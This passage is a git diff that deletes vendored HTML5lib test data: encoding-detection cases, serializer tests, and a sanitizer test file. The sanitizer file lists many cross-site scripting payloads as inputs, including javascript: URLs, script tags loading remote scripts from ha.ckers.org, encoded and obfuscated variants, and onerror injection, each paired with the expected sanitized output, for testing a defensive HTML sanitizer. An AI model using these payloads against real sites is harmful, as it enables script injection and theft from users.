-<meta <meta charset='EUC-jp'>
-#encoding
-EUC-jp
-
-#data
-<meta       charset    =     'EUC-jp'>
-#encoding
-EUC-jp
-
-#data
-<!-- -->
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
-#encoding
-utf-8
-
-#data
-<!-- -->
-<meta http-equiv="Content-Type" content="text/html; charset=utf
-#encoding
-windows-1252
-
-#data
-<meta http-equiv="Content-Type<meta charset="utf-8">
-#encoding
-windows-1252
-
-#data
-<meta http-equiv="Content-Type" content="text/html; charset='utf-8'">
-#encoding
-utf-8
-
-#data
-<meta http-equiv="Content-Type" content="text/html; charset='utf-8">
-#encoding
-windows-1252
-
-#data
-<meta                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
-#encoding
-windows-1252
-
-#data
-<meta charset                    =                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
-#encoding
-windows-1252
-
-#data
-<meta charset=                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            utf-8
-#encoding
-windows-1252
-
-#data
-<meta content = "text/html;
-#encoding
-windows-1252
-
-#data
-<meta charset="UTF-16">
-#encoding
-utf-8
-
-#data
-<meta charset="UTF-16LE">
-#encoding
-utf-8
-
-#data
-<meta charset="UTF-16BE">
-#encoding
-utf-8
-
-#data
-<html a=ñ>
-<meta charset="utf-8">
-#encoding
-utf-8
-
-#data
-<html ñ>
-<meta charset="utf-8">
-#encoding
-utf-8
-
-#data
-<html>ñ
-<meta charset="utf-8">
-#encoding
-utf-8
diff --git a/attic/vendor/plugins/HTML5lib/testdata/sanitizer/tests1.dat b/attic/vendor/plugins/HTML5lib/testdata/sanitizer/tests1.dat
deleted file mode 100644
index 7323b17d..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/sanitizer/tests1.dat
+++ /dev/null
@@ -1,501 +0,0 @@
-[
-  {
-    "name": "IE_Comments",
-    "input": "<!--[if gte IE 4]><script>alert('XSS');</script><![endif]-->",
-    "output": ""
-  },
-
-  {
-    "name": "IE_Comments_2",
-    "input": "<![if !IE 5]><script>alert('XSS');</script><![endif]>",
-    "output": "&lt;script&gt;alert('XSS');&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "allow_colons_in_path_component",
-    "input": "<a href=\"./this:that\">foo</a>",
-    "output": "<a href='./this:that'>foo</a>"
-  },
-
-  {
-    "name": "background_attribute",
-    "input": "<div background=\"javascript:alert('XSS')\"></div>",
-    "output": "<div/>",
-    "xhtml": "<div></div>",
-    "rexml": "<div></div>"
-  },
-
-  {
-    "name": "bgsound",
-    "input": "<bgsound src=\"javascript:alert('XSS');\" />",
-    "output": "&lt;bgsound src=\"javascript:alert('XSS');\"/&gt;",
-    "rexml": "&lt;bgsound src=\"javascript:alert('XSS');\"&gt;&lt;/bgsound&gt;"
-  },
-
-  {
-    "name": "div_background_image_unicode_encoded",
-    "input": "<div style=\"background-image:\u00a5\u00a2\u006C\u0028'\u006a\u0061\u00a6\u0061\u00a3\u0063\u00a2\u0069\u00a0\u00a4\u003a\u0061\u006c\u0065\u00a2\u00a4\u0028.1027\u0058.1053\u0053\u0027\u0029'\u0029\">foo</div>",
-    "output": "<div style=''>foo</div>"
-  },
-
-  {
-    "name": "div_expression",
-    "input": "<div style=\"width: expression(alert('XSS'));\">foo</div>",
-    "output": "<div style=''>foo</div>"
-  },
-
-  {
-    "name": "double_open_angle_brackets",
-    "input": "<img src=http://ha.ckers.org/scriptlet.html <",
-    "output": "<img src='http://ha.ckers.org/scriptlet.html'/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "double_open_angle_brackets_2",
-    "input": "<script src=http://ha.ckers.org/scriptlet.html <",
-    "output": "&lt;script src=\"http://ha.ckers.org/scriptlet.html\" &lt;=\"\"&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "grave_accents",
-    "input": "<img src=`javascript:alert('XSS')` />",
-    "output": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "img_dynsrc_lowsrc",
-    "input": "<img dynsrc=\"javascript:alert('XSS')\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "img_vbscript",
-    "input": "<img src='vbscript:msgbox(\"XSS\")' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "input_image",
-    "input": "<input type=\"image\" src=\"javascript:alert('XSS');\" />",
-    "output": "<input type='image'/>",
-    "rexml": "<input type='image' />"
-  },
-
-  {
-    "name": "link_stylesheets",
-    "input": "<link rel=\"stylesheet\" href=\"javascript:alert('XSS');\" />",
-    "output": "&lt;link rel=\"stylesheet\" href=\"javascript:alert('XSS');\"/&gt;",
-    "rexml": "&lt;link href=\"javascript:alert('XSS');\" rel=\"stylesheet\"/&gt;"
-  },
-
-  {
-    "name": "link_stylesheets_2",
-    "input": "<link rel=\"stylesheet\" href=\"http://ha.ckers.org/xss.css\" />",
-    "output": "&lt;link rel=\"stylesheet\" href=\"http://ha.ckers.org/xss.css\"/&gt;",
-    "rexml": "&lt;link href=\"http://ha.ckers.org/xss.css\" rel=\"stylesheet\"/&gt;"
-  },
-
-  {
-    "name": "list_style_image",
-    "input": "<li style=\"list-style-image: url(javascript:alert('XSS'))\">foo</li>",
-    "output": "<li style=''>foo</li>"
-  },
-
-  {
-    "name": "no_closing_script_tags",
-    "input": "<script src=http://ha.ckers.org/xss.js?<b>",
-    "output": "&lt;script src=\"http://ha.ckers.org/xss.js?&amp;lt;b\"&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit",
-    "input": "<script/XSS src=\"http://ha.ckers.org/xss.js\"></script>",
-    "output": "&lt;script XSS=\"\" src=\"http://ha.ckers.org/xss.js\"&gt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_2",
-    "input": "<a onclick!\\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>foo</a>",
-    "output": "<a>foo</a>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_3",
-    "input": "<img/src=\"http://ha.ckers.org/xss.js\"/>",
-    "output": "<img src='http://ha.ckers.org/xss.js'/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_II",
-    "input": "<a href!\\#$%&()*~+-_.,:;?@[/|]^`=alert('XSS')>foo</a>",
-    "output": "<a>foo</a>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_III",
-    "input": "<a/href=\"javascript:alert('XSS');\">foo</a>",
-    "output": "<a>foo</a>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "platypus",
-    "input": "<a href=\"http://www.ragingplatypus.com/\" style=\"display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;\">never trust your upstream platypus</a>",
-    "output": "<a href='http://www.ragingplatypus.com/' style='display: block; width: 100%; height: 100%; background-color: black; background-x: center; background-y: center;'>never trust your upstream platypus</a>"
-  },
-
-  {
-    "name": "protocol_resolution_in_script_tag",
-    "input": "<script src=//ha.ckers.org/.j></script>",
-    "output": "&lt;script src=\"//ha.ckers.org/.j\"&gt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_allow_anchors",
-    "input": "<a href='foo' onclick='bar'><script>baz</script></a>",
-    "output": "<a href='foo'>&lt;script&gt;baz&lt;/script&gt;</a>"
-  },
-
-  {
-    "name": "should_allow_image_alt_attribute",
-    "input": "<img alt='foo' onclick='bar' />",
-    "output": "<img alt='foo'/>",
-    "rexml": "<img alt='foo' />"
-  },
-
-  {
-    "name": "should_allow_image_height_attribute",
-    "input": "<img height='foo' onclick='bar' />",
-    "output": "<img height='foo'/>",
-    "rexml": "<img height='foo' />"
-  },
-
-  {
-    "name": "should_allow_image_src_attribute",
-    "input": "<img src='foo' onclick='bar' />",
-    "output": "<img src='foo'/>",
-    "rexml": "<img src='foo' />"
-  },
-
-  {
-    "name": "should_allow_image_width_attribute",
-    "input": "<img width='foo' onclick='bar' />",
-    "output": "<img width='foo'/>",
-    "rexml": "<img width='foo' />"
-  },
-
-  {
-    "name": "should_handle_blank_text",
-    "input": "",
-    "output": ""
-  },
-
-  {
-    "name": "should_handle_malformed_image_tags",
-    "input": "<img \"\"\"><script>alert(\"XSS\")</script>\">",
-    "output": "<img/>&lt;script&gt;alert(\"XSS\")&lt;/script&gt;\"&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_handle_non_html",
-    "input": "abc",
-    "output": "abc"
-  },
-
-  {
-    "name": "should_not_fall_for_ridiculous_hack",
-    "input": "<img\nsrc\n=\n\"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n\"\n />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_0",
-    "input": "<img src=\"javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_1",
-    "input": "<img src=javascript:alert('XSS') />",
-    "output": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_10",
-    "input": "<img src=\"jav&#x0A;ascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_11",
-    "input": "<img src=\"jav&#x0D;ascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_12",
-    "input": "<img src=\" &#14;  javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_13",
-    "input": "<img src=\"&#x20;javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_14",
-    "input": "<img src=\"&#xA0;javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_2",
-    "input": "<img src=\"JaVaScRiPt:alert('XSS')\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_3",
-    "input": "<img src='javascript:alert(&quot;XSS&quot;)' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_4",
-    "input": "<img src='javascript:alert(String.fromCharCode(88,83,83))' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_5",
-    "input": "<img src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_6",
-    "input": "<img src='&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_7",
-    "input": "<img src='&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_8",
-    "input": "<img src=\"jav\tascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_9",
-    "input": "<img src=\"jav&#x09;ascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_sanitize_half_open_scripts",
-    "input": "<img src=\"javascript:alert('XSS')\"",
-    "output": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_invalid_script_tag",
-    "input": "<script/XSS SRC=\"http://ha.ckers.org/xss.js\"></script>",
-    "output": "&lt;script XSS=\"\" SRC=\"http://ha.ckers.org/xss.js\"&gt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_script_tag_with_multiple_open_brackets",
-    "input": "<<script>alert(\"XSS\");//<</script>",
-    "output": "&lt;&lt;script&gt;alert(\"XSS\");//&lt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_script_tag_with_multiple_open_brackets_2",
-    "input": "<iframe src=http://ha.ckers.org/scriptlet.html\n<",
-    "output": "&lt;iframe src=\"http://ha.ckers.org/scriptlet.html\" &lt;=\"\"&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_tag_broken_up_by_null",
-    "input": "<scr\u0000ipt>alert(\"XSS\")</scr\u0000ipt>",
-    "output": "&lt;scr\ufffdipt&gt;alert(\"XSS\")&lt;/scr\ufffdipt&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_unclosed_script",
-    "input": "<script src=http://ha.ckers.org/xss.js?<b>",
-    "output": "&lt;script src=\"http://ha.ckers.org/xss.js?&amp;lt;b\"&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_strip_href_attribute_in_a_with_bad_protocols",
-    "input": "<a href=\"javascript:XSS\" title=\"1\">boo</a>",
-    "output": "<a title='1'>boo</a>"
-  },
-
-  {
-    "name": "should_strip_href_attribute_in_a_with_bad_protocols_and_whitespace",
-    "input": "<a href=\" javascript:XSS\" title=\"1\">boo</a>",
-    "output": "<a title='1'>boo</a>"
-  },
-
-  {
-    "name": "should_strip_src_attribute_in_img_with_bad_protocols",
-    "input": "<img src=\"javascript:XSS\" title=\"1\">boo</img>",
-    "output": "<img title='1'/>boo",
-    "rexml": "<img title='1' />"
-  },
-
-  {
-    "name": "should_strip_src_attribute_in_img_with_bad_protocols_and_whitespace",
-    "input": "<img src=\" javascript:XSS\" title=\"1\">boo</img>",
-    "output": "<img title='1'/>boo",
-    "rexml": "<img title='1' />"
-  },
-
-  {
-    "name": "xml_base",
-    "input": "<div xml:base=\"javascript:alert('XSS');//\">foo</div>",
-    "output": "<div>foo</div>"
-  },
-
-  {
-    "name": "xul",
-    "input": "<p style=\"-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss')\">fubar</p>",
-    "output": "<p style=''>fubar</p>"
-  },
-
-  {
-    "name": "quotes_in_attributes",
-    "input": "<img src='foo' title='\"foo\" bar' />",
-    "rexml": "<img src='foo' title='\"foo\" bar' />",
-    "output": "<img title='&quot;foo&quot; bar' src='foo'/>"
-  },
-
-  {
-    "name": "uri_refs_in_svg_attributes",
-    "input": "<rect fill='url(#foo)' />",
-    "rexml": "<rect fill='url(#foo)'></rect>",
-    "xhtml": "<rect fill='url(#foo)'></rect>",
-    "output": "<rect fill='url(#foo)'/>"
-  },
-
-  {
-    "name": "absolute_uri_refs_in_svg_attributes",
-    "input": "<rect fill='url(http://bad.com/) #fff' />",
-    "rexml": "<rect fill='  #fff'></rect>",
-    "xhtml": "<rect fill='  #fff'></rect>",
-    "output": "<rect fill='  #fff'/>"
-  },
-
-  {
-    "name": "uri_ref_with_space_in svg_attribute",
-    "input": "<rect fill='url(\n#foo)' />",
-    "rexml": "<rect fill='url(\n#foo)'></rect>",
-    "xhtml": "<rect fill='url(\n#foo)'></rect>",
-    "output": "<rect fill='url(\n#foo)'/>"
-  },
-
-  {
-    "name": "absolute_uri_ref_with_space_in svg_attribute",
-    "input": "<rect fill=\"url(\nhttp://bad.com/)\" />",
-    "rexml": "<rect fill=' '></rect>",
-    "xhtml": "<rect fill=' '></rect>",
-    "output": "<rect fill=' '/>"
-  },
-
-  {
-    "name": "allow_html5_image_tag",
-    "input": "<image src='foo' />",
-    "rexml": "&lt;image src=\"foo\"&gt;&lt;/image&gt;",
-    "output": "&lt;image src=\"foo\"/&gt;"
-  },
-
-  {
-    "name": "style_attr_end_with_nothing",
-    "input": "<div style=\"color: blue\" />",
-    "output": "<div style='color: blue;'/>",
-    "xhtml": "<div style='color: blue;'></div>",
-    "rexml": "<div style='color: blue;'></div>"
-  },
-
-  {
-    "name": "style_attr_end_with_space",
-    "input": "<div style=\"color: blue \" />",
-    "output": "<div style='color: blue ;'/>",
-    "xhtml": "<div style='color: blue ;'></div>",
-    "rexml": "<div style='color: blue ;'></div>"
-  },
-
-  {
-    "name": "style_attr_end_with_semicolon",
-    "input": "<div style=\"color: blue;\" />",
-    "output": "<div style='color: blue;'/>",
-    "xhtml": "<div style='color: blue;'></div>",
-    "rexml": "<div style='color: blue;'></div>"
-  },
-
-  {
-    "name": "style_attr_end_with_semicolon_space",
-    "input": "<div style=\"color: blue; \" />",
-    "output": "<div style='color: blue;'/>",
-    "xhtml": "<div style='color: blue;'></div>",
-    "rexml": "<div style='color: blue;'></div>"
-  },
-  
-  {
-   "name": "attributes_with_embedded_quotes",
-   "input": "<img src=doesntexist.jpg\"'onerror=\"alert(1) />",
-   "output": "<img src='doesntexist.jpg&quot;&apos;onerror=&quot;alert(1)'/>",
-   "rexml": "Ill-formed XHTML!"
-  },
-  
-  {
-   "name": "attributes_with_embedded_quotes_II",
-   "input": "<img src=notthere.jpg\"\"onerror=\"alert(2) />",
-   "output": "<img src='notthere.jpg&quot;&quot;onerror=&quot;alert(2)'/>",
-   "rexml": "Ill-formed XHTML!"
-  }
-]
diff --git a/attic/vendor/plugins/HTML5lib/testdata/serializer/core.test b/attic/vendor/plugins/HTML5lib/testdata/serializer/core.test
deleted file mode 100644
index d427822a..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/serializer/core.test
+++ /dev/null
@@ -1,104 +0,0 @@
-{"tests": [
-
-{"description": "proper attribute value escaping",
- "input": [["StartTag", "span", {"title": "test \"with\" &quot;"}]],
- "expected": ["<span title='test \"with\" &amp;quot;'>"]
-},
-
-{"description": "proper attribute value non-quoting",
- "input": [["StartTag", "span", {"title": "foo"}]],
- "expected": ["<span title=foo>"],
- "xhtml":    ["<span title=\"foo\">"]
-},
-
-{"description": "proper attribute value quoting (with >)",
- "input": [["StartTag", "span", {"title": "foo>bar"}]],
- "expected": ["<span title=\"foo>bar\">"]
-},
-
-{"description": "proper attribute value quoting (with <)",
- "input": [["StartTag", "span", {"title": "foo<bar"}]],
- "expected": ["<span title=\"foo<bar\">"],
- "xhtml":    ["<span title=\"foo&lt;bar\">"]
-},
-
-{"description": "proper attribute value quoting (with \")",
- "input": [["StartTag", "span", {"title": "foo\"bar"}]],
- "expected": ["<span title='foo\"bar'>"]
-},
-
-{"description": "proper attribute value quoting (with ')",
- "input": [["StartTag", "span", {"title": "foo'bar"}]],
- "expected": ["<span title=\"foo'bar\">"]
-},
-
-{"description": "proper attribute value quoting (with both \" and ')",
- "input": [["StartTag", "span", {"title": "foo'bar\"baz"}]],
- "expected": ["<span title=\"foo'bar&quot;baz\">"]
-},
-
-{"description": "proper attribute value quoting (with space)",
- "input": [["StartTag", "span", {"title": "foo bar"}]],
- "expected": ["<span title=\"foo bar\">"]
-},
-
-{"description": "proper attribute value quoting (with tab)",
- "input": [["StartTag", "span", {"title": "foo\tbar"}]],
- "expected": ["<span title=\"foo\tbar\">"]
-},
-
-{"description": "proper attribute value quoting (with LF)",
- "input": [["StartTag", "span", {"title": "foo\nbar"}]],
- "expected": ["<span title=\"foo\nbar\">"]
-},
-
-{"description": "proper attribute value quoting (with CR)",
- "input": [["StartTag", "span", {"title": "foo\rbar"}]],
- "expected": ["<span title=\"foo\rbar\">"]
-},
-
-{"description": "proper attribute value quoting (with linetab)",
- "input": [["StartTag", "span", {"title": "foo\u000Bbar"}]],
- "expected": ["<span title=\"foo\u000Bbar\">"]
-},
-
-{"description": "proper attribute value quoting (with form feed)",
- "input": [["StartTag", "span", {"title": "foo\u000Cbar"}]],
- "expected": ["<span title=\"foo\u000Cbar\">"]
-},
-
-{"description": "void element (as EmptyTag token)",
- "input": [["EmptyTag", "img", {}]],
- "expected": ["<img>"],
- "xhtml":    ["<img />"]
-},
-
-{"description": "void element (as StartTag token)",
- "input": [["StartTag", "img", {}]],
- "expected": ["<img>"],
- "xhtml":    ["<img />"]
-},
-
-{"description": "doctype in error",
- "input": [["Doctype", "foo"]],
- "expected": ["<!DOCTYPE foo>"]
-},
-
-{"description": "character data",
- "options": {"encoding":"utf-8"},
- "input": [["Characters", "a<b>c&d"]],
- "expected": ["a&lt;b&gt;c&amp;d"]
-},
-
-{"description": "rcdata",
- "input": [["StartTag", "script", {}], ["Characters", "a<b>c&d"]],
- "expected": ["<script>a<b>c&d"],
- "xhtml": ["<script>a&lt;b&gt;c&amp;d"]
-},
-
-{"description": "doctype",
- "input": [["Doctype", "HTML"]],
- "expected": ["<!DOCTYPE HTML>"]
-}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/serializer/injectmeta.test b/attic/vendor/plugins/HTML5lib/testdata/serializer/injectmeta.test
deleted file mode 100644
index c2907641..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/serializer/injectmeta.test
+++ /dev/null
@@ -1,65 +0,0 @@
-{"tests": [
-
-{"description": "no encoding",
- "options": {"inject_meta_charset": true},
- "input": [["EmptyTag", "head", {}]],
- "expected": ["<head>"]
-},
-
-{"description": "empytag head",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["EmptyTag", "head", {}]],
- "expected": ["<head><meta charset=utf-8>"],
- "xhtml":    ["<head><meta charset=\"utf-8\" /></head>"]
-},
-
-{"description": "head w/title",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["StartTag","title",{}], ["Characters", "foo"],["EndTag", "title"], ["EndTag", "head"]],
- "expected": ["<head><meta charset=utf-8><title>foo</title>"],
- "xhtml":    ["<head><meta charset=\"utf-8\" /><title>foo</title></head>"]
-},
-
-{"description": "head w/meta-charset",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["EmptyTag","meta",{"charset":"ascii"}], ["EndTag", "head"]],
- "expected": ["<head><meta charset=utf-8>"],
- "xhtml":    ["<head><meta charset=\"utf-8\" /></head>"]
-},
-
-{"description": "head w/ two meta-charset",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["EmptyTag","meta",{"charset":"ascii"}], ["EmptyTag","meta",{"charset":"ascii"}], ["EndTag", "head"]],
- "expected": ["<head><meta charset=utf-8><meta charset=utf-8>", "<head><meta charset=utf-8><meta charset=ascii>"],
- "xhtml": ["<head><meta charset=\"utf-8\" /><meta charset=\"utf-8\" /></head>", "<head><meta charset=\"utf-8\" /><meta charset=\"ascii\" /></head>"]
-},
-
-{"description": "head w/robots",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["EmptyTag","meta",{"name":"robots","content":"noindex"}], ["EndTag", "head"]],
- "expected": ["<head><meta charset=utf-8><meta content=noindex name=robots>"],
- "xhtml":    ["<head><meta charset=\"utf-8\" /><meta content=\"noindex\" name=\"robots\" /></head>"]
-},
-
-{"description": "head w/robots & charset",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["EmptyTag","meta",{"name":"robots","content":"noindex"}], ["EmptyTag","meta",{"charset":"ascii"}], ["EndTag", "head"]],
- "expected": ["<head><meta content=noindex name=robots><meta charset=utf-8>"],
- "xhtml":    ["<head><meta content=\"noindex\" name=\"robots\" /><meta charset=\"utf-8\" /></head>"]
-},
-
-{"description": "head w/ charset in http-equiv content-type",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["EmptyTag","meta",{"http-equiv":"content-type", "content":"text/html; charset=ascii"}], ["EndTag", "head"]],
- "expected": ["<head><meta content=\"text/html; charset=utf-8\" http-equiv=content-type>"],
- "xhtml":    ["<head><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /></head>"]
-},
-
-{"description": "head w/robots & charset in http-equiv content-type",
- "options": {"inject_meta_charset": true, "encoding":"utf-8"},
- "input": [["StartTag", "head", {}], ["EmptyTag","meta",{"name":"robots","content":"noindex"}], ["EmptyTag","meta",{"http-equiv":"content-type", "content":"text/html; charset=ascii"}], ["EndTag", "head"]],
- "expected": ["<head><meta content=noindex name=robots><meta content=\"text/html; charset=utf-8\" http-equiv=content-type>"],
- "xhtml": ["<head><meta content=\"noindex\" name=\"robots\" /><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /></head>"]
-}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/serializer/optionaltags.test b/attic/vendor/plugins/HTML5lib/testdata/serializer/optionaltags.test
deleted file mode 100644
index 81709689..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/serializer/optionaltags.test
+++ /dev/null
@@ -1,900 +0,0 @@
-{"tests": [
-
-{"description": "html start-tag followed by text, with attributes",
- "input": [["StartTag", "html", {"lang": "en"}], ["Characters", "foo"]],
- "expected": ["<html lang=en>foo"]
-},
-
-
-
-{"description": "html start-tag followed by comment",
- "input": [["StartTag", "html", {}], ["Comment", "foo"]],
- "expected": ["<html><!--foo-->"]
-},
-
-{"description": "html start-tag followed by space character",
- "input": [["StartTag", "html", {}], ["Characters", " foo"]],
- "expected": ["<html> foo"]
-},
-
-{"description": "html start-tag followed by text",
- "input": [["StartTag", "html", {}], ["Characters", "foo"]],
- "expected": ["foo"]
-},
-
-{"description": "html start-tag followed by start-tag",
- "input": [["StartTag", "html", {}], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "html start-tag followed by end-tag",
- "input": [["StartTag", "html", {}], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "html start-tag at EOF (shouldn't ever happen?!)",
- "input": [["StartTag", "html", {}]],
- "expected": [""]
-},
-
-
-
-{"description": "html end-tag followed by comment",
- "input": [["EndTag", "html"], ["Comment", "foo"]],
- "expected": ["</html><!--foo-->"]
-},
-
-{"description": "html end-tag followed by space character",
- "input": [["EndTag", "html"], ["Characters", " foo"]],
- "expected": ["</html> foo"]
-},
-
-{"description": "html end-tag followed by text",
- "input": [["EndTag", "html"], ["Characters", "foo"]],
- "expected": ["foo"]
-},
-
-{"description": "html end-tag followed by start-tag",
- "input": [["EndTag", "html"], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "html end-tag followed by end-tag",
- "input": [["EndTag", "html"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "html end-tag at EOF",
- "input": [["EndTag", "html"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "head start-tag followed by comment",
- "input": [["StartTag", "head", {}], ["Comment", "foo"]],
- "expected": ["<head><!--foo-->"]
-},
-
-{"description": "head start-tag followed by space character",
- "input": [["StartTag", "head", {}], ["Characters", " foo"]],
- "expected": ["<head> foo"]
-},
-
-{"description": "head start-tag followed by text",
- "input": [["StartTag", "head", {}], ["Characters", "foo"]],
- "expected": ["<head>foo"]
-},
-
-{"description": "head start-tag followed by start-tag",
- "input": [["StartTag", "head", {}], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "head start-tag followed by end-tag",
- "input": [["StartTag", "head", {}], ["EndTag", "foo", {}]],
- "expected": ["<head></foo>"]
-},
-
-{"description": "head start-tag at EOF (shouldn't ever happen?!)",
- "input": [["StartTag", "head", {}]],
- "expected": ["<head>"]
-},
-
-
-
-{"description": "head end-tag followed by comment",
- "input": [["EndTag", "head"], ["Comment", "foo"]],
- "expected": ["</head><!--foo-->"]
-},
-
-{"description": "head end-tag followed by space character",
- "input": [["EndTag", "head"], ["Characters", " foo"]],
- "expected": ["</head> foo"]
-},
-
-{"description": "head end-tag followed by text",
- "input": [["EndTag", "head"], ["Characters", "foo"]],
- "expected": ["foo"]
-},
-
-{"description": "head end-tag followed by start-tag",
- "input": [["EndTag", "head"], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "head end-tag followed by end-tag",
- "input": [["EndTag", "head"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "head end-tag at EOF",
- "input": [["EndTag", "head"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "body start-tag followed by comment",
- "input": [["StartTag", "body", {}], ["Comment", "foo"]],
- "expected": ["<body><!--foo-->"]
-},
-
-{"description": "body start-tag followed by space character",
- "input": [["StartTag", "body", {}], ["Characters", " foo"]],
- "expected": ["<body> foo"]
-},
-
-{"description": "body start-tag followed by text",
- "input": [["StartTag", "body", {}], ["Characters", "foo"]],
- "expected": ["foo"]
-},
-
-{"description": "body start-tag followed by start-tag",
